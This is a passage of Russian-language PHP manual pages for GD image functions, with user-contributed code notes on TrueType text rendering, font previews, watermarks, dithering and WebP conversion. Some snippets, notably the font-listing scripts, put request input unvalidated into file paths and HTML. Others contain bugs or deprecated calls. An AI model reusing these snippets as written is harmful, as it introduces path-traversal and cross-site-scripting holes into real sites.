     * @param int    $Leading  : Space between lines.
     * @param int    $W        : Width of the Image.
     * @param int    $H        : Hight of the Image.
     * @param int    $X        : x-coordinate of the text into the image.
     * @param int    $Y        : y-coordinate of the text into the image.
     * @param int    $fsize    : Font size of text.
     * @param array  $color    : RGB color array for text color.
     * @param array  $bgcolor  : RGB color array for background.
     *
     */
    function imagettfJustifytext($text, $font="CENTURY.TTF", $Justify=2, $Leading=0, $W=0, $H=0, $X=0, $Y=0, $fsize=12, $color=array(0x0,0x0,0x0), $bgcolor=array(0xFF,0xFF,0xFF)){

        $angle = 0;
        $_bx = imageTTFBbox($fsize,0,$font,$text);
        $s = split("[\n]+", $text);  // Array of lines
        $nL = count($s);  // Number of lines
        $W = ($W==0)?abs($_bx[2]-$_bx[0]):$W;    // If Width not initialized by programmer then it will detect and assign perfect width.
        $H = ($H==0)?abs($_bx[5]-$_bx[3])+($nL>1?($nL*$Leading):0):$H;    // If Height not initialized by programmer then it will detect and assign perfect height.

        $im = @imagecreate($W, $H)
            or die("Cannot Initialize new GD image stream");

        $background_color = imagecolorallocate($im, $bgcolor[0], $bgcolor[1], $bgcolor[2]);  // RGB color background.
        $text_color = imagecolorallocate($im, $color[0], $color[1], $color[2]); // RGB color text.

        if ($Justify == 0){ //Justify Left
            imagettftext($im, $fsize, $angle, $X, $fsize, $text_color, $font, $text);
        } else {
            // Create alpha-nummeric string with all international characters - both upper- and lowercase
            $alpha = range("a", "z");
            $alpha = $alpha.strtoupper($alpha).range(0, 9);
            // Use the string to determine the height of a line
            $_b = imageTTFBbox($fsize,0,$font,$alpha);
            $_H = abs($_b[5]-$_b[3]);
            $__H=0;
            for ($i=0; $i<$nL; $i++) {
                $_b = imageTTFBbox($fsize,0,$font,$s[$i]);
                $_W = abs($_b[2]-$_b[0]);
                //Defining the X coordinate.
                if ($Justify == 1) $_X = $W-$_W;  // Justify Right
                else $_X = abs($W/2)-abs($_W/2);  // Justify Center

                //Defining the Y coordinate.
                $__H += $_H;
                imagettftext($im, $fsize, $angle, $_X, $__H, $text_color, $font, $s[$i]);
                $__H += $Leading;
            }
        }

        return $im;
    }
Borgso 27-Jul-2007 04:30
Right align out of "webmaster at higher-designs dot com" code
<?php
$color = imagecolorallocate($im, 0, 0, 0);
$font = 'visitor.ttf';
$fontsize = "12";
$fontangle = "0";
$imagewidth = imagesx($im);
$imageheight = imagesy($im);

$text = "My right align text";

$box = @imageTTFBbox($fontsize,$fontangle,$font,$text);
$textwidth = abs($box[4] - $box[0]);
$textheight = abs($box[5] - $box[1]);
$xcord = $imagewidth - ($textwidth)-2; // 2 = some space from right side.
$ycord = ($imageheight/2)+($textheight/2);

ImageTTFText ($im, $fontsize, $fontangle, $xcord, $ycord, $black, $font, $text);
?>
lassial at gmail dot com 10-May-2007 06:56
Roy van Arem suggested a neat code for listing TTFs on a machine. However, it has some problems (such as lower and upper case distinction of file extension and defective fonts) that I have corrected in the following script, which can be implemented as a single PHP script (name as you like):

<?php //make sure there are no blank lines above

$ffolder="/usr/local/bin/fonts"; //The directory where your fonts reside

if (empty($_GET['f']))
{
$folder=dir($ffolder); //open directory
echo "<HTML><BODY>\n";

while($font=$folder->read())
  if(stristr($font,'.ttf')) //only ttf fonts
        $fonts[]=$font;

$folder->close();

if (!empty($fonts))
        {
        echo "<table><tr><th colspan='2'>Fonts available in $ffolder</th></tr>"
        ."\n<tr><th>Name</th><th>Appereance</th>";
        sort($fonts);
        foreach ($fonts as $font)
                echo "<tr><td>$font</td><td> <IMG src='".$_SERVER['SCRIPT_NAME']
                        ."?f=$font'></td></tr>\n";
        }
else echo "No fonts found from $ffolder";
echo "\n</HTML></BODY>";
}

else
{
$im=@imagecreatetruecolor(200,30)
        or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);
imagettftext($im,14,0,5,25,$black, "$ffolder/".$_GET['f'] , $_GET['f']);

header("Content-type: image/png");
header('Content-Length: ' . strlen($im));

imagepng($im);
imagedestroy($im);
}
?>
ultraniblet at gmail dot com 05-May-2007 01:08
I have found the kerning (spacing between letters) pretty poor with GD - it's not up to your average designer's standards. Here are some ways to improve it:
- Place the letters one by one using their bounding box instead of using one string
- adjust with a $kerning value
- For small text, sample it down from a larger size to adjust in increments less than 1px

Eg:

<?PHP

$STRING = "NOTRE PHILOSOPHIE";

// ---- PRESETS
$FONT = "CantoriaMTStd-SemiBold.otf";
$FONT_SIZE = 10.5;
$WIDTH = 200;
$HEIGHT = 16;
$KERNING = 0;
$BASELINE = 12;
$BG_COLOR = array(
    "R"=>5,
    "G"=>45,
    "B"=>53
);
$TXT_COLOR = array(
    "R"=>188,
    "G"=>189,
    "B"=>0
);

// ---- CREATE CANVAS + PALETTE
$canvas = imageCreateTrueColor($WIDTH*4,$HEIGHT*4);

$bg_color = imageColorAllocate($canvas, $BG_COLOR["R"], $BG_COLOR["G"], $BG_COLOR["B"]);

$txt_color = imageColorAllocate($canvas, $TXT_COLOR["R"], $TXT_COLOR["G"], $TXT_COLOR["B"]);

imagefill ( $canvas, 0, 0, $bg_color );

// ---- DRAW

$array = str_split($STRING);
$hpos = 0;

for($i=0; $i<count($array); $i++)
{
    $bbox = imagettftext( $canvas, $FONT_SIZE*4, 0, $hpos, $BASELINE*4, $txt_color, $FONT, $array[$i] );

    $hpos = $bbox[2]+$KERNING;
}

// ---- SAMPLE DOWN & OUTPUT
$final = imageCreateTrueColor($WIDTH,$HEIGHT);

imageCopyResampled( $final, $canvas, 0,0,0,0, $WIDTH, $HEIGHT, $WIDTH*4, $HEIGHT*4 );

header('Content-type: image/png');

imagePNG($final);

imageDestroy($canvas);
imageDestroy($final);

?>
Roy van Arem 26-Nov-2006 08:01
If you want to display a list of fonts in a directory and see what they look like, you could do something like this:

<HTML><BODY>

<?php

$folder=dir("fonts/"); //The directory where your fonts reside

while($font=$folder->read())
  {

  if(stristr($font,'.ttf'))echo '<IMG SRC="img.php?'.substr($font,0,strpos($font,'.')).'">'; //only ttf fonts

  }

$folder->close();

?>

</BODY></HTML>

The file for 'img.php' should be something like this:

<?php

$font=$_SERVER["QUERY_STRING"];

header("Content-type: image/png");
$im=@imagecreatetruecolor(200,30)or die("Cannot Initialize new GD image stream");

$black=imagecolorallocate($im,0,0,0);
$white=imagecolorallocate($im,255,255,255);

imagefill($im,0,0,$white);

imagettftext($im,18,0,5,25,$black,"fonts/".$font,$font);

imagepng($im);
imagedestroy($im);

?>

Something similar I implemented at http://font.beginstart.com
ben at evolutioncomputing co uk 05-Nov-2006 01:25
A centralised text watermark - of  any length, that automatically sizes to about 70% of the width, and can be rotated to any angle.

<?php
/* Get image info */
$Image = @ImageCreateFromJPEG ("YourImage.jpg") ;
$sx = imagesx($Image) ;
$sy = imagesy($Image) ;
if ($WatermarkNeeded)
    {
    /* Set text info */
    $Text="Copyright Ben Clay" ;
    $Font="arial.ttf" ;
    $FontColor = ImageColorAllocate ($Image,255,255,255) ;
    $FontShadow = ImageColorAllocate ($Image,0,0,0) ;
    $Rotation = 30 ;
    /* Make a copy image */
    $OriginalImage = ImageCreateTrueColor($sx,$sy) ;
    ImageCopy ($OriginalImage,$Image,0,0,0,0,$sx,$sy) ;
    /* Iterate to get the size up */
    $FontSize=1 ;
    do
        {
        $FontSize *= 1.1 ;
        $Box = @ImageTTFBBox($FontSize,0,$Font,$Text);
        $TextWidth = abs($Box[4] - $Box[0]) ;
        $TextHeight = abs($Box[5] - $Box[1]) ;
        }
    while ($TextWidth < $sx*0.7) ;
    /*  Awkward maths to get the origin of the text in the right place */
    $x = $sx/2 - cos(deg2rad($Rotation))*$TextWidth/2 ;
    $y = $sy/2 + sin(deg2rad($Rotation))*$TextWidth/2 + cos(deg2rad($Rotation))*$TextHeight/2 ;
    /* Make shadow text first followed by solid text */
    ImageTTFText ($Image,$FontSize,$Rotation,$x+4,$y+4,$FontShadow,$Font,$Text);
    ImageTTFText ($Image,$FontSize,$Rotation,$x,$y,$FontColor,$Font,$Text);
    /* merge original image into version with text to show image through text */
    ImageCopyMerge ($Image,$OriginalImage,0,0,0,0,$sx,$sy,50) ;
    }

ImageJPEG ($Image) ;
?>
Tom Pike 04-Oct-2006 08:48
Ref: Craig at frostycoolslug dot com

"Using the negative of a color index has the effect of turning off antialiasing."

This is true, but only if the image has been created with imagecreate() (as opposed to imagecreatetruecolor())
Craig at frostycoolslug dot com 28-Sep-2006 07:54
This one caught me out a little bit as confusing, so in an attempt to help others..

"Using the negative of a color index has the effect of turning off antialiasing."

Simply put:

<?php

$textColour = ImageColorAllocate($image, 255, 255, 255);
ImageTTFText($image, 8, 0, 0, 0, -$textColour, $font, $text);

?>

Note the - (minus) before the $textColor in ImageTTFText, this creates the negative colour index, and switches off AA on text.
jwe 24-Jul-2006 11:48
I found this line a little confusing:

"May include decimal numeric character references (of the form: &#8364;) to access characters in a font beyond position 127."

I was using a font that had apostrophes and quotes stored in a non-standard position, and so they were being rendered as spaces by imagettftext.  This line seemed to suggest a solution, but it took a while to figure it out.

Turns out, a "decimal numeric character reference" is a decimal conversion of the hex value of the *unicode* position of the character you want.  For a while I was trying ASCII positions (I knew the ALT+ code for typing the character I needed in Windows).

In the Windows XP character map, the unicode positions are shown as U+2018 or U+201C, etc.  Ignore the U+ and convert that hex number to decimal, and then stick that in your text string with the &# on the front and ; on the end, and pass it to imagettftext.

--Julian
jwe 18-Jul-2006 08:48
Quick tip for anyone who is receiving text like in the example in this page (ie: through $_GET['text'] or something similar) and needs to format the text into multiple lines.  The trick is finding the spaces...

<?php
$text = $_GET['text'];
// for a maximum of 38 characters on a line...
while(strlen($text) > 38) {
   $startPoint = 37;
   // find a space to break the line on
   while(substr($text, $startPoint, 1) != " ") {
        $startPoint--;
   }
   $line[] = trim(substr($text, 0, $startPoint));
   $text = substr($text, $startPoint);
}
$line[] = trim($text);
?>

The result is an array called $line that contains all the lines of text you need to output in order.

The only tasks left are to determine the correct height of the image based on the font size you want to use.  Don't forget to leave some padding space for punctuation and descenders between lines (commas, g, q, p, y, etc).

imagettftext is unbelievably useful when you need to create header images using non-standard fonts.  Amazing.  Huge thanks to the devs.

--Julian
admin at sgssweb dot com 01-May-2006 04:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
    extends GMIPluggableSet
{
    var $defaultVariables = array(
        "text" => null,
        "size" => null,
        "font" => null,
        "color" => "0x000000",
        "alpha" => "100",
        "padding" => 0,
        "width" => null,
        "height" => null,
        "align" => "left",
        "valign" => "middle",
        "bgcolor" => "0xffffff",
        "antialias" => 4
    );

    function SampleFontImagePluggableSet() {
        parent::GMIPluggableSet();
    }

    function getExpression() {
        return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
    }

    function getVariables() {
        return array_merge($this->defaultVariables, $_GET);
    }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
mats dot engstrom at gmail dot com 28-Mar-2006 02:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com 28-Feb-2006 09:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri-- 28-Jan-2006 12:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
Mer`Zikain 10-Jan-2006 12:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
        // Get single character
    $value=substr($text,$i,1);
    if($pval){ // check for existing previous character
        list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
        $nxpos+=$rx+3;
    }else{
        $nxpos=0;
    }
        // Add the letter to the image
    imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
    $pval=$value; // save current character for next loop
}
alexey at NOSPAMPLS dot ozerov dot de 31-Aug-2005 12:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru 10-Aug-2005 09:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
    $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
    //  iso8859-5 -> unicode:
    for ($result='', $i=0; $i<strlen($s); $i++) {
      $charcode = ord($s[$i]);
      $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
    }
    return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
erik[at]phpcastle.com 04-Mar-2005 04:46
Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de 12-Jan-2005 05:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
        // Put center-rotated ttf-text into image
        // Same signature as imagettftext();
        function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
        {
            // retrieve boundingbox
            $bbox = imagettfbbox($size, $angle, $fontfile, $text);

            // calculate deviation
            $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;         // deviation left-right
            $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

            // new pivotpoint
            $px = $x-$dx;
            $py = $y-$dy;

            return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
        }

?>

Big up
Phil
plusplus7 at hotmail dot com 15-Jul-2004 01:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.


Возвращает список типов изображений, поддерживаемых PHP сборкой

  • « imagettftext
  • imagewbmp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Возвращает список типов изображений, поддерживаемых PHP сборкой

imagetypes

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

imagetypes — Возвращает список типов изображений, поддерживаемых PHP сборкой

Описание

imagetypes(): int

Возвращает типы поддерживаемых текущей сборкой PHP изображений.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовое поле соответствующее форматам изображений, которые поддерживаются текущей версией GD прилинкованной к PHP. Возвращаются следующие биты: IMG_AVIF | IMG_BMP | IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP | IMG_XPM | IMG_WEBP.

Список изменений

Версия | Описание
8.1.0 | Добавлена константа IMG_AVIF.
7.2.0 | Добавлена константа IMG_BMP.
7.0.10 | Добавлена константа IMG_WEBP.

Примеры

Пример #1 Проверка поддержки PNG

<?php
if (imagetypes() & IMG_PNG) {
echo "Поддержка PNG включена";
}
?>

Смотрите также

  • gd_info() - Вывод информации о текущей установленной GD библиотеке

User Contributed Notes

ThunderCrew 30-Jul-2007 07:38
Im not a smart man but this seemd to be the simplest code and it worked.
Its at the very top of this directory.

<?php
var_dump(gd_info());
?>

Returned image info and more.

array(11) { ["GD Version"]=> string(27) "bundled (2.0.28 compatible)" ["FreeType Support"]=> bool(true) ["FreeType Linkage"]=> string(13) "with freetype" ["T1Lib Support"]=> bool(false) ["GIF Read Support"]=> bool(true) ["GIF Create Support"]=> bool(true) ["JPG Support"]=> bool(true) ["PNG Support"]=> bool(true) ["WBMP Support"]=> bool(true) ["XBM Support"]=> bool(true) ["JIS-mapped Japanese Font Support"]=> bool(false) }


Выводит изображение в браузер или пишет в файл

  • « imagetypes
  • imagewebp »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Выводит изображение в браузер или пишет в файл

imagewbmp

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagewbmp — Выводит изображение в браузер или пишет в файл

Описание

imagewbmp(GdImage $image, resource|string|null $file = null, ?int $foreground_color = null): bool

imagewbmp() выводит или сохраняет в формате WBMP заданное изображение image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

foreground_color

Можно задать цвет верхнего слоя. Цвет задаётся идентификатором, созданным функцией imagecolorallocate(). По умолчанию цвет чёрный.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | foreground_color теперь допускает значение null.

Примеры

Пример #1 Вывод WBMP изображения

<?php
// создание пустого изображения и добавление текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая текстовая строка', $text_color);

// Тип содержимого, в данном случае image/vnd.wap.wbmp
// Подсказка: смотрите image_type_to_mime_type()
header('Content-Type: image/vnd.wap.wbmp');

// Вывод изображения
imagewbmp($im);

// Освобождение памяти
imagedestroy($im);
?>

Пример #2 Сохранение WBMP изображения

<?php
// создание пустого изображения и добавление текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая текстовая строка', $text_color);

// Сохранение изображения
imagewbmp($im, 'simpletext.wbmp');

// Освобождение памяти
imagedestroy($im);
?>

Пример #3 Вывод изображения с изменённым верхним слоем

<?php
// создание пустого изображения и добавление текста
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'Простая текстовая строка', $text_color);

// Тип содержимого, в данном случае image/vnd.wap.wbmp
// Подсказка: смотрите image_type_to_mime_type()
header('Content-Type: image/vnd.wap.wbmp');

// замена цвета
$foreground_color = imagecolorallocate($im, 255, 0, 0);

imagewbmp($im, NULL, $foreground_color);

// Освобождение памяти
imagedestroy($im);
?>

Смотрите также

  • image2wbmp() - Выводит изображение в браузер или пишет в файл
  • imagepng() - Вывод PNG изображения в браузер или файл
  • imagegif() - Выводит изображение в браузер или пишет в файл
  • imagejpeg() - Выводит изображение в браузер или пишет в файл
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой

User Contributed Notes

andre at bynetworld dot com 19-Dec-2007 05:31
In the previous note by -> lukeross at sys3175 dot co dot uk <- there is a coding error in the for() loops. After correcting the error, I found that this function did a great job of  converting color images to 2 colors.
The following is the corrected function code:

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $isx = ImageSX($src_img);
    $isy = ImageSY($src_img);
    $grey_img = ImageCreate($isx, $isy);
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    $isx -= 1; // To correct pixel count in source image width starting from 0
    $isy -= 1; // Correcting pixel count in source image height starting from 0
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= $isx; $x++) {
        for($y = 0; $y <= $isy; $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != $isx) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != $isx && $y != $isy) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}
lukeross at sys3175 dot co dot uk 28-Feb-2002 01:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
    ImageColorAllocate($dst_img, 0,0,0);
    ImageColorAllocate($dst_img, 255,255,255);
    $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
    for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
            $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
            ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
        }
    }
    for($x = 0; $x <= ImageSX($src_img); $x++) {
        for($y = 0; $y <= ImageSY($src_img); $y++) {
            $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
            if ($color["red"] > 128) {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
                $err = $color["red"] - 255;
            } else {
                ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
                $err = $color["red"];
            }
            if ($x != ImageSx($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
                $newgrey = $color2["red"] + $err * 7 / 16;
                ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != 0) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
                $newgrey = $color2["red"] + $err * 3 / 16;
                ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
                $newgrey = $color2["red"] + $err * 5 / 16;
                ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }
            if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
                $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
                $newgrey = $color2["red"] + $err / 16;
                ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
            }

        }
    }
    imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));


Вывод изображения WebP в браузер или файл

  • « imagewbmp
  • imagexbm »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Вывод изображения WebP в браузер или файл

imagewebp

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

imagewebp — Вывод изображения WebP в браузер или файл

Описание

imagewebp(GdImage $image, resource|string|null $file = null, int $quality = -1): bool

Выведет или сохранит WebP-версию данного изображения (image).

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

quality

quality варьируется от 0 (худшее качество, меньший размер файла) до 100 (наилучшее качество, большой файл).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Сохранение WebP-файла

<?php
// Создать пустое изображение и добавить текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);

imagestring($im, 1, 5, 5, 'WebP with PHP', $text_color);

// Сохранить изображение
imagewebp($im, 'php.webp');

// Освободить память
imagedestroy($im);
?>

User Contributed Notes

JSix 09-Feb-2022 04:18
Function to save any image to Webp

public static function webpImage($source, $quality = 100, $removeOld = false)
    {
        $dir = pathinfo($source, PATHINFO_DIRNAME);
        $name = pathinfo($source, PATHINFO_FILENAME);
        $destination = $dir . DIRECTORY_SEPARATOR . $name . '.webp';
        $info = getimagesize($source);
        $isAlpha = false;
        if ($info['mime'] == 'image/jpeg')
            $image = imagecreatefromjpeg($source);
        elseif ($isAlpha = $info['mime'] == 'image/gif') {
            $image = imagecreatefromgif($source);
        } elseif ($isAlpha = $info['mime'] == 'image/png') {
            $image = imagecreatefrompng($source);
        } else {
            return $source;
        }
        if ($isAlpha) {
            imagepalettetotruecolor($image);
            imagealphablending($image, true);
            imagesavealpha($image, true);
        }
        imagewebp($image, $destination, $quality);

        if ($removeOld)
            unlink($source);

        return $destination;
    }
Sam 24-Jun-2021 08:47
Safari on mac now has limited support (limited to Safari 14+ on Big Sur or later)

Safari on iOS 14.4 and higher has full support
vinicius dot sizilio at gmail dot com 18-Apr-2020 01:07
To convert a PNG image to Webp, we can do this:

<?php

// Image
$dir = 'img/countries/';
$name = 'brazil.png';
$newName = 'brazil.webp';

// Create and save
$img = imagecreatefrompng($dir . $name);
imagepalettetotruecolor($img);
imagealphablending($img, true);
imagesavealpha($img, true);
imagewebp($img, $dir . $newName, 100);
imagedestroy($img);

?>
day4gerard 14-Nov-2019 07:14
WebP is not yet supported by Safari, although they are experimenting with it.

Check out https://caniuse.com/#search=webp for the latest support information.
Khalyomede 01-Feb-2019 07:24
As of today (end of january 2019), WebP is now supported across all the major browsers (Edge, Chrome, Firefox, Opera).
mauro dot ludovico dot colella at gmail dot com 12-Feb-2015 06:41
It is also possible to defer the creation of png replacements for WebP images to the client, with notably the library libwebpjs enabling transparent conversion.
orangefish at sogetthis dot com 25-Jun-2013 11:32
WebP is a great file format, but it's basically supported only by Chrome. For WebP files with transparency it's necessary to have PNG fallback for other browsers (otherwise it won't work in iOS, Firefox, IE, etc.).

Regular truecolor PNG with alpha gives pretty large files, but there's a special smaller PNG file variant that can be created by pngquant - a command line utility.

If you have pngquant 1.8 on your server (just get package from official pngquant website), then you can create small fallback images (with quality better than from PHP's libgd):

<?php

/**
 * Optimizes PNG file with pngquant 1.8 or later (reduces file size of 24-bit/32-bit PNG images).
 *
 * You need to install pngquant 1.8.x on the server (ancient version 1.0 won't work).
 * There's package for Debian/Ubuntu and RPM for other distributions on http://pngquant.org
 *
 * @param $path_to_png_file string - path to any PNG file, e.g. $_FILE['file']['tmp_name']
 * @param $max_quality int - conversion quality, useful values from 60 to 100 (smaller number = smaller file)
 * @return string - content of PNG file after conversion
 */
function compress_png($path_to_png_file, $max_quality = 90)
{
    if (!file_exists($path_to_png_file)) {
        throw new Exception("File does not exist: $path_to_png_file");
    }

    // guarantee that quality won't be worse than that.
    $min_quality = 60;

    // '-' makes it use stdout, required to save to $compressed_png_content variable
